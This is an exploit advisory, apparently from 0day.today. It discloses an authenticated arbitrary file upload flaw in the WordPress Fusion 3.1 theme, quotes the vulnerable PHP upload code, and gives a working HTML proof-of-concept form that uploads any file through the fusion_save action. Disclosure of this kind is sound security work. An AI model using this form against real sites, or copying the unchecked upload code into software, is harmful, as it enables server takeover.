WordPress Fusion 3.1 Arbitrary File Upload Vulnerability

------------------------------------------------------------------------------
WordPress Fusion Theme Authenicated Arbitrary File Upload
------------------------------------------------------------------------------


[-] Theme Link:

https://wordpress.org/themes/fusion ( Over 334,000 Downloads )
http://digitalnature.ro/themes/fusion/

[-] Affected Version:

Version 3.1


[-] Vulnerability Description:

The vulnerable code is located in the /functions script:
//SHORTENED CODE

function fusion_options() {

  if ( 'fusion_save' == $_REQUEST['action'] ) {
    if ($_FILES["file-logo"]["type"]){
     $directory = $uploadpath['basedir'].'/';
     move_uploaded_file($_FILES["file-logo"]["tmp_name"],
     $directory . $_FILES["file-logo"]["name"]);
     update_option('fusion_logoimage', $uploadpath['baseurl']. "/".
$_FILES["file-logo"]["name"]);
    }

}
add_action('admin_menu', 'fusion_options');


then function fusion_options can be called by LOGGED IN USERS and executed
which leads to uploading any file on attacked server which may cause the
site full take over.


[-] Proof of Concept:

<form action="http://localhost/x/wordpress/wp-admin/admin.php"
method="post" enctype="multipart/form-data">
        <input type="file" name="file-logo" />
        <input type="hidden" name="action" value="fusion_save" />
        <button type="submit" >Upload</button>
</form>

#  0day.today [2018-01-03]  #